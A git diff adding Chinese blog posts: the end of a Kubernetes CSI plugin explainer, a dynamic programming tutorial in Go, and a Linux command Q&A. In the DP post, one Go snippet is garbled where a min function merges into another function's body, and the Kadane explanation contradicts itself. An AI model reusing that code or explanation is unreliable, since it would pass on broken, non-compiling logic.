Pod 请求使用某个 CSI 驱动提供的存储卷时,Kubelet 会通过该 Unix 域套接字向 CSI 驱动发送 CSI 调用,比如 NodeStageVolume(用于准备存储卷的使用)、NodePublishVolume(用于挂载存储卷)等,以此完成对存储卷的挂载和卸载操作。 + +因此,Kubelet 可以直接通过 Unix 域套接字与运行在同一个节点上的 CSI 驱动进行通信,无需通过网络进行远程调用。这样不仅提高了效率,也简化了网络配置,同时提高了系统的安全性。 + + +> CSI 驱动程序需要提供一个 Unix 域套接字,什么是Unix 域套接字? + +Unix 域套接字是一种在同一台主机上的不同进程间进行通信的机制。可以将其视为本地主机上的进程间通信通道。与 TCP/IP 套接字在不同机器之间传输数据不同,Unix 域套接字只用于本地机器上的通信。 + + +> CSI 驱动和 Kubelet 如何使用 Unix 域套接字? + +CSI 驱动创建 Unix 域套接字:CSI 驱动会在启动时创建一个 Unix 域套接字。这个套接字是一个特殊类型的文件,位于文件系统的某个位置。 + +CSI 驱动注册 Unix 域套接字:然后,CSI 驱动会通过 Kubelet 的插件注册机制告诉 Kubelet 套接字的位置。 + +Kubelet 使用 Unix 域套接字与 CSI 驱动通信:当 Kubelet 需要与 CSI 驱动通信时(例如挂载一个卷),它会使用该 Unix 域套接字连接到 CSI 驱动。此时,Unix 域套接字就像一个本地通信通道,使得 Kubelet 可以向 CSI 驱动发送请求并接收响应。 + +Unix 域套接字是一种允许在同一台计算机上的两个进程之间进行通信的机制。在 Kubernetes 中,CSI 驱动和 Kubelet 会使用 Unix 域套接字来实现他们之间的通信。这种方法比使用网络连接更有效,也更安全,因为通信仅限于本地计算机。 + + +> CSI组件为什么需要实现RPC接口? + +RPC(Remote Procedure Call)是 CSI 使用的一种通信方式。CSI 中定义的 RPC 接口主要分为三类:Identity、Controller 和 Node。每一类都有其特定的用途,现在我来解释一下: + +Identity 接口:这类接口用于 CSI 插件自我识别和向 Kubernetes 报告其功能。例如,GetPluginInfo RPC 接口用于返回 CSI 插件的名字和版本号。 + +Controller 接口:这类接口负责存储卷的生命周期管理,例如创建卷(CreateVolume)、删除卷(DeleteVolume)、挂载卷(ControllerPublishVolume)、卸载卷(ControllerUnpublishVolume)等。这些操作在控制平面执行,与具体的节点无关。 + +Node 接口:这类接口负责在特定的节点上对存储卷进行操作,例如挂载卷(NodeStageVolume、NodePublishVolume)和卸载卷(NodeUnstageVolume、NodeUnpublishVolume)等。这些操作需要在存储卷所挂载的节点上执行。 + + +例如,当创建一个带有持久卷声明(PersistentVolumeClaim,PVC)的 Pod 时,Kubernetes 将调用 CSI 插件的 Controller 接口中的 CreateVolume RPC 创建一个新的存储卷。然后,当这个 Pod 被调度到一个节点上,Kubernetes 会调用 Node 接口中的 NodeStageVolume 和 NodePublishVolume RPC 来挂载这个存储卷到该节点的具体路径上。这个存储卷现在就可以被 Pod 中的容器作为一个卷来使用了。如果删除了这个 Pod,Kubernetes 就会调用 NodeUnpublishVolume 和 NodeUnstageVolume 来卸载这个存储卷,然后调用 DeleteVolume 来删除这个存储卷。 + +### 实现一个自己的CSI插件 + +##### 导入 CSI 接口定义 + +> 安装 Protocol Buffers Compiler:可以从 https://github.com/protocolbuffers/protobuf/releases 下载适合的操作系统和架构的 protoc 编译器。 + +```bash +brew install protobuf +``` + +> 安装 Go Protobuf 插件:在命令行中运行以下命令以安装 Go 语言的 protobuf 插件: + +```bash +go get -u github.com/golang/protobuf/protoc-gen-go +``` + +> 获取 CSI 接口定义:CSI 的接口定义是以 .proto 文件形式提供的,可以从 https://github.com/container-storage-interface/spec/tree/master/csi.proto 下载最新版本的接口定义。 + +> 生成 Go 源代码:使用以下命令将 CSI 接口定义转换为 Go 源代码: + +修改csi.proto文件 + +```proto +// Code generated by make; DO NOT EDIT. +syntax = "proto3"; +package csi.v1; + +import "google/protobuf/descriptor.proto"; +import "google/protobuf/timestamp.proto"; +import "google/protobuf/wrappers.proto"; + +option go_package = "/csi"; +``` + + +```bash +protoc --go_out=. csi.proto +``` +这将生成一个名为 csi.pb.go 的文件,其中包含了 CSI 接口定义的 Go 语言表示。在的 Go 代码中,可以像使用其他 Go 源文件一样使用这个文件。 +```txt +. +├── csi +│ └── csi.pb.go +├── csi.proto +├── go.mod +└── go.sum + +2 directories, 4 files +``` + +##### 实现 CSI 接口: + +需要实现 CSI 描述的接口,这包括 Identity、Controller 和 Node 服务。 +```go +type LocalDriver struct { + // 这里可以放置插件需要的配置和状态 +} + +// 实现 Identity 服务接口 +func (d *LocalDriver) GetPluginInfo(ctx context.Context, req *csi.GetPluginInfoRequest) (*csi.GetPluginInfoResponse, error) { + // 返回插件信息 +} + +// 实现 Controller 服务接口 +func (d *LocalDriver) CreateVolume(ctx context.Context, req *csi.CreateVolumeRequest) (*csi.CreateVolumeResponse, error) { + // 在本地文件系统上创建一个卷 +} + +// 实现 Node 服务接口 +func (d *LocalDriver) NodePublishVolume(ctx context.Context, req *csi.NodePublishVolumeRequest) (*csi.NodePublishVolumeResponse, error) { + // 挂载卷到指定的目标路径 +} + +``` + +##### 构建插件 + +将的代码编译为一个可执行文件。 + + +##### 部署插件 + +需要在 Kubernetes 集群的每个节点上部署插件,并确保 Kubernetes 能够通过 Unix 域套接字与插件通信。 + +##### 创建 StorageClass + +创建一个 Kubernetes StorageClass,指定 CSI 插件的名字。 + +##### 测试插件 + +通过创建 PersistentVolumeClaim 和 Pod 来测试插件的功能。 + diff --git a/_posts/2023-9-5-test-markdown.md b/_posts/2023-9-5-test-markdown.md new file mode 100644 index 000000000000..63e7d47f869b --- /dev/null +++ b/_posts/2023-9-5-test-markdown.md @@ -0,0 +1,545 @@ +--- +layout: post +title: 动态规划 +subtitle: +tags: [动态规划] +comments: true +--- + + +## 线性动态规划 + +线性动态规划的主要特点是状态的推导是按照问题规模 i 从小到大依次推过去的,较大规模的问题的解依赖较小规模的问题的解。 + +```text +dp[n] := [0..n] 上问题的解 +``` +状态转移: + +```text +dp[n] = f(dp[n-1], ..., dp[0]) +``` + +大规模问题的状态只与较小规模的问题有关,而问题规模完全用一个变量 i 表示,i 的大小表示了问题规模的大小,因此从小到大推 i 直至推到 n,就得到了大规模问题的解,这就是线性动态规划的过程。 + + +按照问题的输入格式,线性动态规划解决的问题主要是单串,双串,矩阵上的问题,因为在单串,双串,矩阵上问题规模可以完全用位置表示,并且位置的大小就是问题规模的大小。因此从前往后推位置就相当于从小到大推问题规模。 + + +线性动态规划是动态规划中最基本的一类。问题的形式、dp 状态和方程的设计、以及与其它算法的结合上面变化很多。按照 dp 方程中各个维度的含义,可以大致总结出几个主流的问题类型,除此之外还有很多没有总结进来的变种问题,小众问题,和困难问题,这些问题的解法更多地需要结合自己的做题经验去积累,除此之外,常见的,主流的问题和解法都可以总结成下面的四个小类别。 + + +### 单串 +#### 依赖比 i 小的 O (1) 个子问题 + +单串 `dp [i]` 线性动态规划最简单的一类问题,输入是一个串,状态一般定义为 `dp[i] := 考虑 [0..i] `上,原问题的解,其中 i 位置的处理,根据不同的问题,主要有两种方式: + +第一种是 i 位置必须取,此时状态可以进一步描述为 `dp[i] := 考虑 [0..i] 上`,且取 i,原问题的解; +第二种是 i 位置可以取可以不取 + +```text + dp[i] = f(dp[i - 1], dp[i - 2], ...)。 +``` +> dp[n] 只与常数个小规模子问题有关,状态的推导过程.时间复杂度 O(n),空间复杂度 O(n) 可以优化为 O(1),例如上面提到的 70, 801, 790, 746 都属于这类。 + + +#### 依赖比 i 小的 O (n) 个子问题 + +```text +dp[i] = f(dp[i - 1], dp[i - 2], ..., dp[0]) +``` +> 因此在计算 `dp[i]` 时需要将它们遍历一遍完成计算。f 常见的有 max/min,可能还会对 i-1,i-2,...,0 有一些筛选条件,但推导 `dp[n] `时依然是 `O(n) `级的子问题数量。 +> 以 min 函数为例,这种形式的问题的代码常见写法如下 + +```go +for i = 1, ..., n + for j = 1, ..., i-1 + dp[i] = min(dp[i], f(dp[j]) +``` + + +#### Kadane's 模版 +> Kadane's 算法(Kadane's algorithm)是一种用于在数组中寻找最大子数组的算法,其时间复杂度为 O(n)。它的基本思想是维护两个变量:当前最大子数组和和当前最大子数组的右端点。 + + +Kadane's 算法的基本思路是,从数组的左端开始,累积地求和,并在每个位置记录到目前为止得到的最大和或者最小和。如果在某个位置,当前的累积和小于0,那么就放弃到目前为止的累积和,从下一个位置开始重新计算累积和。或者当前的累积和大于0,那么就放弃到目前为止的累积和,从下一个位置开始重新计算累积和 这是因为,一个负的累积和加上任何后续的正数,都不会使得和增大。或者一个正的累计和加上任何后面的都不会使得和变小。 + +其代码大概如下: + +```go +func maxSubarraySumCircular(A []int) int { + maxVal, minVal, sum, tempMax, tempMin := A[0], A[0], A[0], A[0], A[0] + for i := 1; i < len(A); i++ { + if tempMax >0{ + tempMax = A[i]+tempMax + }else{ + tempMax = A[i] + } + maxVal = max(maxVal,tempMax) + if tempMin<0{ + tempMin = A[i]+tempMin + }else{ + tempMin = A[i] + } + minVal = min(minVal,tempMin) + sum += A[i] + } + if sum == minVal { // 防止全部为负数的情况 + return maxVal + } + return max(maxVal, sum-minVal) +} + +func max(a, b int) int { + if a > b { + return a + } + return b +} + + +func min(a int,b int)int{ + if a 0{ + currentSum = currentSum + nums[i] + }else{ + currentSum = nums[i] + tempStart=i + } + if currentSum > maxSum { + maxSum = currentSum + start = tempStart + end = i + } + } + return []int{start,end} +} +``` + + +### 并查集思想在动态规划中的运用 + +```go +/*368. 最大整除子集 +给一个由 无重复 正整数组成的集合 nums ,请找出并返回其中最大的整除子集 answer ,子集中每一元素对 (answer[i], answer[j]) 都应当满足: +answer[i] % answer[j] == 0 ,或 +answer[j] % answer[i] == 0 +如果存在多个有效解子集,返回其中任何一个均可*/ +func largestDivisibleSubset(nums []int) []int { + sort.Ints(nums) + n := len(nums) + f := make([]int, n) + g := make([]int, n) + + for i := 0; i < n; i++ { + // 至少包含自身一个数,因此起始长度为 1,由自身转移而来 + length, prev := 1, i + for j := 0; j < i; j++ { + if nums[i]%nums[j] == 0 { + // 如果能接在更长的序列后面,则更新「最大长度」&「从何转移而来」 + if f[j]+1 > length { + length = f[j] + 1 + prev = j + } + } + } + // 记录「最终长度」&「从何转移而来」 + f[i] = length + g[i] = prev + } + + // 遍历所有的 f[i],取得「最大长度」和「对应下标」 + maxLen := -1 + idx := -1 + for i := 0; i < n; i++ { + if f[i] > maxLen { + maxLen = f[i] + idx = i + } + } + + // 使用 g[] 数组回溯出最长上升子序列 + path := make([]int, 0) + for { + path = append(path, nums[idx]) + if idx == g[idx] { + break + } + idx = g[idx] + } + + return path +} + +``` +### 带维度的动态规划 + +```go +package main + +import ( + "fmt" + "math" +) + +func splitArray(nums []int, m int) int { + n := len(nums) + // 前缀和 + sum := make([]int, n+1) + for i := 1; i <= n; i++ { + sum[i] = sum[i-1] + nums[i-1] + } + // 动态规划 + dp := make([][]int, n+1) + for i := 0; i <= n; i++ { + dp[i] = make([]int, m+1) + for j := 0; j <= m; j++ { + dp[i][j] = math.MaxInt32 + } + } + dp[0][0] = 0 + for i := 1; i <= n; i++ { + for j := 1; j <= min(i, m); j++ { + for k := i; k >= j; k-- { + dp[i][j] = min(dp[i][j], max(dp[k-1][j-1], sum[i]-sum[k-1])) + } + } + } + return dp[n][m] +} + +func min(a, b int) int { + if a < b { + return a + } + return b +} + +func max(a, b int) int { + if a > b { + return a + } + return b +} +``` +## 带维度的单串 +这类问题通常涉及到两个维度,一个是字符串或数组的位置,另一个是额外的指标,如分组数量、颜色、次数等。状态转移通常涉及到当前状态与前一状态的关系,以及在当前状态下可以进行的操作。 + +以下是这类问题的一些常见特点和处理方法: + +状态定义:通常会定义一个二维的动态规划数组`dp[i][k]`,其中`dp[i][k]`表示在前i个字符或元素中进行k次操作的某种关系。这种关系取决于具体的问题,可能是最大利润、最小花费等。 + +状态转移:状态`dp[i][k]`的值通常会依赖于`dp[i-1][k]`,`dp[i][k-1]`,`dp[i-1][k-1]`的值,以及在当前状态下可以进行的操作。具体的状态转移方程取决于具体的问题。 + +边界条件:当i=0或k=0时,`dp[i][k]`通常会有特殊的定义,这代表没有字符或元素,或者不能进行操作。 + +遍历顺序:由于`dp[i][k]`的值依赖于`dp[i-1][k]`,`dp[i][k-1]`和`dp[i-1][k-1]`的值,所以在计算dp数组的时候,需要按照从左到右,从上到下的顺序进行遍历。 + +```go +func solve(arr []int, K int) int { + n := len(arr) + dp := make([][]int, n+1) + for i := range dp { + dp[i] = make([]int, K+1) + } + + // 初始化边界条件 + for i := 0; i <= n; i++ { + dp[i][0] = ... // 根据具体问题来定义 + } + for k := 0; k <= K; k++ { + dp[0][k] = ... // 根据具体问题来定义 + } + + // 状态转移 + for i := 1; i <= n; i++ { + for k := 1; k <= K; k++ { + dp[i][k] = ... // 根据具体问题来定义 + } + } + + return dp[n][K] +} + +``` + +## 双串 + + +### 最经典双串 LCS 系列 +双串线性动态规划问题是一类常见的动态规划问题,它涉及到两个输入字符串,并且子问题的定义通常涉及到两个字符串的子串。这类问题的状态转移方程通常会涉及到当前状态与前一状态的关系。 +以下是这类问题的一些常见特点和处理方法: + +状态定义:通常会定义一个二维的动态规划数组`dp[i][j]`,其中`dp[i][j]`表示第一个字符串的前i个字符和第二个字符串的前j个字符之间的某种关系。这种关系取决于具体的问题,可能是最长公共子序列的长度,也可能是最小编辑距离等。 + +状态转移:状态`dp[i][j]`的值通常会依赖于`dp[i-1][j]`,`dp[i][j-1]`和`dp[i-1][j-1]`的值。具体的状态转移方程取决于具体的问题。 + +边界条件:当i=0或j=0时,`dp[i][j]`通常会有特殊的定义,这代表其中一个字符串为空字符串。 + +遍历顺序:由于`dp[i][j]`的值依赖于`dp[i-1][j]`,`dp[i][j-1]`和`dp[i-1][j-1]`的值,所以在计算dp数组的时候,需要按照从左到右,从上到下的顺序进行遍历。 +```go +// 最长子序列问题 +func solve(str1 string, str2 string) int { + m, n := len(str1), len(str2) + dp := make([][]int, m+1) + for i := range dp { + dp[i] = make([]int, n+1) + } + + // 初始化边界条件 + for i := 0; i <= m; i++ { + dp[i][0] = ... // 根据具体问题来定义 + } + for j := 0; j <= n; j++ { + dp[0][j] = ... // 根据具体问题来定义 + } + + // 状态转移 + for i := 1; i <= m; i++ { + for j := 1; j <= n; j++ { + if str1[i-1] == str2[j-1] { + dp[i][j] = ... // 根据具体问题来定义 + } else { + dp[i][j] = ... // 根据具体问题来定义 + } + } + } + + return dp[m][n] +} +``` + + +```go +// 最长子数组问题 +func findLength(nums1 []int, nums2 []int) int { + // dp[i][j]表示的是以nums1[i-1]和nums2[j-1]结尾的最长公共子数组的长度 + m:= len(nums1) + n:=len(nums2) + dp:= make([][]int,m+1) + for k,_:= range dp{ + dp[k] = make([]int,n+1) + } + res:=0 + for i:=1;i<=m;i++{ + for j:=1;j<=n;j++{ + if nums1[i-1] == nums2[j-1]{ + dp[i][j] = dp[i-1][j-1]+1 + if dp[i][j]>res{ + res= dp[i][j] + } + } + } + } + return res +} + +func max( a int,b int) int{ + if a>b { + return a + } + return b +} +``` + +### 字符串匹配系列 + +```go +// 通配符匹配 +func isMatch(s string, p string) bool { + m:= len(s) + n:= len(p) + dp:=make([][]bool,m+1) + for k,_:= range dp{ + dp[k] = make([]bool,n+1) + } + dp[0][0] = true + for j := 1; j <= n; j++ { + if p[j-1] == '*' { + dp[0][j] = dp[0][j-1] + } + } + for i:=1;i<=m;i++{ + for j:=1;j<=n ;j++{ + if p[j-1]=='?'{ + dp[i][j] = dp[i-1][j-1] + }else if p[j-1] == '*'{ + dp[i][j] = dp[i][j-1] || dp[i-1][j] + }else if s[i-1]==p[j-1]{ + dp[i][j] = dp[i-1][j-1] + }else{ + + } + + } + } + return dp[m][n] + +} +``` + + + +```go +// 正则表达式匹配 +func isMatch(s string, p string) bool { + m:= len(s) + n:= len(p) + dp:=make([][]bool,m+1) + for k,_:= range dp{ + dp[k] = make([]bool,n+1) + } + dp[0][0] = true + for j := 2; j <= n; j++ { + if p[j-1] == '*' { + dp[0][j] = dp[0][j-2] + } + } + for i:=1;i<=m;i++{ + for j:=1;j<=n ;j++{ + if p[j-1]=='.'{ + dp[i][j] = dp[i-1][j-1] + }else if p[j-1] == '*'{ + if p[j-2] != s[i-1] && p[j-2] != '.' { + dp[i][j] = dp[i][j-2] + } else { + dp[i][j] = dp[i-1][j] || dp[i][j-2] + } + }else if s[i-1]==p[j-1]{ + dp[i][j] = dp[i-1][j-1] + }else{ + + } + + } + } + return dp[m][n] + +} + + +``` + +```go +// 交错字符串 +func isInterleave(s1 string, s2 string, s3 string) bool { + m:= len(s1) + n:=len(s2) + if m + n != len(s3) { + return false + } + dp:= make([][]bool,m+1) + for k,_:= range dp{ + dp[k] = make([]bool,n+1) + } + dp[0][0]=true + for i := 1; i <= m; i++ { + dp[i][0] = dp[i-1][0] && s1[i-1] == s3[i-1] + } + for j := 1; j <= n; j++ { + dp[0][j] = dp[0][j-1] && s2[j-1] == s3[j-1] + } + for i:=1;i<=m;i++{ + for j:=1;j<=n;j++{ + dp[i][j] = dp[i][j] || ( dp[i-1][j] && s1[i-1] == s3[i+j-1]) + + dp[i][j]= dp[i][j] || ( dp[i][j-1] && s2[j-1] == s3[i+j-1]) + + } + } + return dp[m][n] +} +``` + +### 矩阵系列 + +这类题目通常涉及到二维数组或矩阵,问题的规模由两个维度决定。状态转移方程通常会涉及到当前状态的上一状态,例如 `dp[i-1][j]`,`dp[i][j-1]`,或者 `dp[i-1][j-1]`。这类题目的关键在于找到合适的状态定义和状态转移方程。 + + +以下是这类题目的一般步骤: + +定义状态:定义一个二维数组 dp,其中 `dp[i][j]` 表示考虑到第 i 个元素和第 j 个元素时的问题解。 + +初始化状态:根据问题的具体情况,初始化 dp 数组的边界值。 + +状态转移:根据状态转移方程,从小到大遍历 i 和 j,计算 `dp[i][j] `的值。 + +返回结果:根据问题的具体情况,返回 dp 数组的某个值作为结果。 + +```go +func solve(matrix [][]int) int { + m, n := len(matrix), len(matrix[0]) + dp := make([][]int, m) + for i := range dp { + dp[i] = make([]int, n) + } + + // 初始化 dp 数组的边界值 + // ... + + // 状态转移 + for i := 1; i < m; i++ { + for j := 1; j < n; j++ { + // 根据状态转移方程计算 dp[i][j] 的值 + // dp[i][j] = ... + } + } + + // 返回结果 + return dp[m-1][n-1] +} + +``` diff --git a/_posts/2023-9-7-test-markdown.md b/_posts/2023-9-7-test-markdown.md new file mode 100644 index 000000000000..81500a9c5d82 --- /dev/null +++ b/_posts/2023-9-7-test-markdown.md @@ -0,0 +1,1454 @@ +--- +layout: post +title: Linux 常用命令 +subtitle: +tags: [Linux] +comments: true +--- + +### Linux + +**1.请描述一下如何使用Linux命令来查看正在运行的进程,以及如何结束特定进程** + +答:我们可以使用`ps`命令来查看正在运行的进程,如`ps aux`。若要结束特定的进程,我们可以使用`kill`命令,需要知道进程的PID,例如`kill 12345`,其中12345是进程号。 + +```shell +curl ifconfig.me +``` + +当在Mac或Linux系统上运行ifconfig(或ip addr show在某些Linux系统上)并查看en0接口,通常会看到与该接口相关的网络配置信息。 + +对于Mac系统(特别是使用Wi-Fi的MacBook),en0通常是Wi-Fi适配器。在en0下看到的地址通常是以下之一: + +IPv4地址: 这是在公司Wi-Fi网络上的局域网(LAN)地址。这个地址是通过DHCP从公司的路由器/网络获取的。 + +IPv6地址: 如果的公司网络支持IPv6,也可能会看到一个IPv6地址。 + +子网掩码: 通常与IPv4地址一起显示,描述了的局域网子网的大小。 + +广播地址: 用于在局域网上广播数据。 + +除此之外,ifconfig还会显示其他一些信息,例如数据包计数、错误计数等。 + +如果想知道的公共IP地址(即公司出口到互联网的地址),那么不能使用ifconfig来获取。相反,需要使用诸如curl ifconfig.me之类的在线服务或访问某些提供此信息的网站。 +```shell +ifconfig +``` +来源: 它是Unix-like操作系统(如Linux、MacOS)中的一个标准命令行工具。 +主要功能: 它用于显示和配置系统上网络接口的网络参数。 +返回的信息: 当运行ifconfig,会看到关于系统上所有活动网络接口的详细信息,如en0或eth0等。这包括IPv4和IPv6地址、子网掩码、广播地址、发送和接收的数据包数量等。返回的IP地址通常是私有的局域网地址。 +用途: 它主要用于诊断和配置本地机器上的网络接口。 +```shell +curl ifconfig.me: +``` +来源: curl是一个命令行工具,用于从或发送数据到服务器。ifconfig.me是一个在线服务,返回查询它的用户的公共IP地址。 +主要功能: 通过这个命令,可以从外部服务获取的公共IP地址。 +返回的信息: 当运行curl ifconfig.me,会收到一个简单的响应,这是的公共IP地址。这是的网络(如家庭网络或公司网络)在互联网上的地址,而不是的个人设备的局域网地址。 +用途: 它用于确定的网络在互联网上的公共IP地址,这可能对诊断外部连接问题或配置远程访问服务非常有用。 + +**2.请说出常用的几个Linux命令,并解释其功能。** +答案:ls(列出目录中的文件和目录),cd(改变目录),mkdir(创建目录),rm(删除文件或目录),cat(查看文件内容),vi(编辑文件),ps(查看进程状态),top(查看系统运行状态) + +ls: 列出目录的内容。 +用途: 查看当前目录下的文件和文件夹。 + +pwd: 打印当前工作目录的完整路径。 +用途: 确定当前所在的文件夹。 + +cd: 更改当前工作目录。 +用途: 导航到不同的文件夹。 + +cat: 显示文件的内容。 +用途: 查看或连接文件内容。 + +echo: 在标准输出中显示一行文本。 +用途: 打印文本或变量的值。 + +grep: 搜索文本。 +用途: 在文件或输出中搜索特定的字符串或正则表达式匹配。 + +ps: 显示当前进程。 +用途: 查看正在运行的进程。 + +top: 显示系统的实时状态,如CPU使用率、进程等。 +用途: 实时监控系统性能。 + +netstat: 显示网络连接、路由表、接口统计等。 +用途: 分析网络问题。 + +ifconfig (或 ip a 在较新的Linux版本中): 显示或配置网络接口。 +用途: 查看或设置网络配置。 + +vi/vim: 文本编辑器。 +用途: 编辑文件内容。 + +chmod: 更改文件或目录的权限。 +用途: 设置文件或目录的访问权限。 + +chown: 更改文件或目录的所有者和组。 +用途: 修改文件或目录的拥有者。 + +tail: 查看文件的最后几行。 +用途: 实时查看或跟踪文件的更新,如日志文件。 + +man: 显示手册页面。 +用途: 查看命令或程序的详细文档和使用方式。 + +更改文件的所有者和组: + +```bash +chown newowner:newgroup filename.txt +``` +这将 "filename.txt" 的所有者更改为 "newowner" 并将组更改为 "newgroup"。 + +仅更改文件的组: + +```bash +chown :newgroup filename.txt +``` +这将 "filename.txt" 的组更改为 "newgroup",但所有者保持不变。 + +更改目录及其内容的所有者和组: + +```bash +chown -R newowner:newgroup directoryname/ +``` +使用 -R(或 --recursive)选项将递归更改目录及其所有子目录和文件的所有者和组。 + +更改文件的所有者,但只使用用户ID: + +```bash +chown 1002 filename.txt +``` +这将 "filename.txt" 的所有者更改为用户ID为 1002 的用户。 + +更改文件的组,但只使用组ID: + +```bash +chown :1003 filename.txt +``` +这将 "filename.txt" 的组更改为组ID为 1003 的组。 + +curl 是一个强大的命令行工具,用于发出各种网络请求,尤其是HTTP请求。以下是一些常用的 curl 用法: + +简单地获取一个URL: + +```shell +curl http://example.com +``` +保存URL的输出到文件: +```shell +curl -o output.txt http://example.com +``` +使用 -o 参数和文件名将输出保存到 "output.txt" 文件中。 + +跟踪URL的重定向: +```shell +curl -L http://example.com +``` +使用 -L 或 --location 参数跟踪重定向。 + +发送POST请求: + +```shell +curl -X POST -d "param1=value1¶m2=value2" http://example.com/resource +``` +使用 -X 参数指定HTTP方法(在这种情况下是POST),并使用 -d 参数传递数据。 + +使用基本认证发送请求: + +```shell +curl -u username:password http://example.com +``` +使用 -u 参数提供基本认证凭据。 + +发送带有header的请求: + +```shell +curl -H "Content-Type: application/json" -X POST -d '{"key":"value"}' http://example.com/resource +``` +使用 -H 参数添加HTTP头。 + +上传文件: + +```shell +curl -F "file=@path/to/file.txt" http://example.com/upload +``` +使用 -F 参数上传文件。 +静默模式(不显示进度或错误信息): + +```shell +curl -s http://example.com +``` +使用 -s 或 --silent 参数。 + +显示请求和响应头: + +```shell +curl -i http://example.com +``` +使用 -i 或 --include 参数。 + +使用代理: +```shell +curl -x http://proxy:8080 http://example.com +``` +使用 -x 或 --proxy 参数设置代理。 + +验证SSL证书: +```shell +curl --cacert /path/to/cert.pem https://secure-site.com +``` +使用 --cacert 参数提供证书。 +这些只是 curl 的冰山一角。由于它的功能非常丰富,建议查阅其手册页 (man curl) 或在线文档来获取更多的信息和用法。 + +**3.请解释Linux的运行原理**。 + +答案:Linux的运行原理主要包括内核、硬件、shell和用户四个层面。用户通过shell发出命令,shell将命令传递给内核,内核再对硬件进行操作。 + +> 在 Linux 中,Shell 是一种用于交互式和批处理命令解释器的程序, Shell 通过用户输入的命令来执行操作,并将结果输出给用户.Linux Shell 包括 Bash、Zsh、Ksh、Tcsh 等。下面是这些 Shell 的简单介绍. +> Bash(Bourne-Again Shell):Bash 是最常用的 Linux Shell,它是 Bourne Shell 的增强版,具有更多的功能和特性。 +> Zsh(Z Shell):Zsh 是一个功能强大的 Shell,具有自动补全、历史命令管理等高级特性,可以提高命令行操作的效率。 +> Tcsh(Tenex C Shell):Tcsh 是 C Shell 的增强版,具有类似于 Bash 和 Zsh 的许多特性,包括命令补全、命令别名等。 +> Ksh(Korn Shell):Ksh 是一个类似于 Bash 的 Shell,它的语法与 Bourne Shell 类似,但具有更多的功能。 + +查看当前使用的 Shell +```text +echo $SHELL +``` + +```shell +chsh -s /bin/zsh +``` + +**4.请问如何在Linux中查看系统日志?** + +> 使用 dmesg 命令:dmesg 命令用于显示内核环境下的日志信息,可以显示系统启动信息、硬件信息、内核错误等。在终端窗口中输入 dmesg 命令即可查看系统日志。 + +> 使用 journalctl 命令:journalctl 命令用于查看 systemd 系统日志,可以显示系统启动信息、服务状态、错误信息等。在终端窗口中输入 journalctl 命令即可查看系统日志。 + +> 查看 /var/log 目录下的日志文件:Linux 系统会将各种服务和应用程序的日志信息保存在 /var/log 目录中的各个文件中,例如,/var/log/messages、/var/log/syslog、/var/log/auth.log 等。使用命令 cat /var/log/messages 可以查看 messages 日志文件的内容。 + +> 使用 GUI 工具查看系统日志:Linux 系统中通常会安装图形界面工具,例如 Gnome System Log,可以在系统菜单中找到该工具,使用该工具可以方便地查看系统日志。 + + +**5.Linux 中的进程是什么?如何查看当前正在运行的进程和它们的状态?** + +使用 ps 命令:ps 命令用于列出当前系统中正在运行的进程。例如,使用 ps -ef 命令可以列出所有进程的详细信息,包括进程 ID、父进程 ID、CPU 占用率、内存占用率等。 + +使用 top 命令:top 命令用于实时监控系统资源的使用情况,包括 CPU、内存、进程等。在 top 命令的界面中,可以查看当前正在运行的进程和它们的状态,包括进程 ID、运行时间、CPU 占用率、内存占用率等。 + +使用 htop 命令:htop 命令是 top 命令的改进版,提供了更加友好的界面和交互方式,可以方便地查看当前正在运行的进程和它们的状态。 + +使用 systemctl 命令:systemctl 命令用于管理系统服务,包括启动、停止、重启、查看状态等。使用 systemctl status 命令可以查看所有系统服务的状态,包括进程 ID、运行状态、启动时间等。 + + +**6如何查看进程的详细信息,例如打开的文件和网络连接?** + +lsof 命令:`lsof `命令(list open files)可以列出系统中打开的所有文件和网络连接。例如,使用 `lsof -p [pid] `命令可以列出指定进程的所有打开文件和网络连接。 + +lsof 命令查看指定进程的打开文件的方法: +```text +lsof -p [pid] +``` + +其中,`[pid]` 是指定进程的进程 ID。 + +/proc 文件系统:Linux 系统中有一个特殊的文件系统 /proc,它提供了访问内核和进程信息的接口。在` /proc/[pid] `目录下,可以找到与指定进程相关的文件和目录,包括进程状态、打开的文件、网络连接等信息。例如,`/proc/[pid]/status `文件包含了进程的状态信. + +使用以下命令查看当前占用8080端口的进程ID: +```shell +lsof -i :8080 +``` + +```shell +netstat -tulpn | grep <端口号> +``` + +netstat 命令:netstat 命令用于显示网络连接的状态,可以列出当前系统中所有的网络连接和监听端口。例如,使用 netstat -anp 命令可以列出所有网络连接的状态和对应的进程信息。 +```shell +netstat -anp | grep [pid] +``` + + +**7.如何查看 Linux 中的系统信息?如何查看 CPU、内存、磁盘等硬件信息?** + +> df 命令:df 命令用于显示磁盘分区的使用情况,包括总容量、已用空间、可用空间等信息。例如,使用 df -h 命令可以以人类可读的方式显示磁盘分区的使用情况。 +``` +df -h +``` + +> lshw 命令:lshw 命令用于显示系统的硬件信息,包括 CPU、内存、磁盘等信息。例如,使用 lshw -short 命令可以列出所有硬件设备的摘要信息。 + +> vmstat 命令:vmstat 命令用于显示系统的虚拟内存状态,可以查看 CPU、内存、磁盘等信息。例如,使用 vmstat -s 命令可以列出系统的内存使用情况。 +``` +vmstat -s +``` + +> top 命令:top 命令用于实时监控系统资源的使用情况,可以查看 CPU、内存、进程等信息。在 top 命令的界面中,按下键盘上的 1 键可以查看 CPU 的核心数和使用情况,按下 m 键可以查看内存的使用情况。 + +```shell +top +``` + +**8.Linux 中的软件包管理器是什么?常用的软件包管理器有哪些?如何使用软件包管理器安装和卸载软件包?** + +> APT(Advanced Packaging Tool):APT 是 Debian 和 Ubuntu 等 Linux 发行版中使用的软件包管理器,可以通过命令行或图形界面使用。 + +> YUM(Yellowdog Updater Modified):YUM 是 Red Hat、CentOS、Fedora 等 Linux 发行版中使用的软件包管理器,可以通过命令行或图形界面使用。 + +使用软件包管理器安装和卸载软件包通常有以下步骤: + +> 更新软件包列表:在使用软件包管理器之前,应该首先更新软件包列表,以确保可以获取最新的软件包信息。例如,在使用 APT 时,可以使用以下命令更新软件包列表: + +``` +sudo apt update +``` + +搜索软件包:在安装软件包之前,可以使用软件包管理器搜索软件包。例如,在使用 APT 时,可以使用以下命令搜索软件包: +``` +apt search [package name] +``` + +安装软件包:使用软件包管理器安装软件包时,可以指定软件包名称和版本号。例如,在使用 APT 时,可以使用以下命令安装软件包: +``` +sudo apt install [package name] +``` +卸载软件包:使用软件包管理器卸载软件包时,可以指定软件包名称。例如,在使用 APT 时,可以使用以下命令卸载软件包: +``` +sudo apt remove [package name] +``` + + 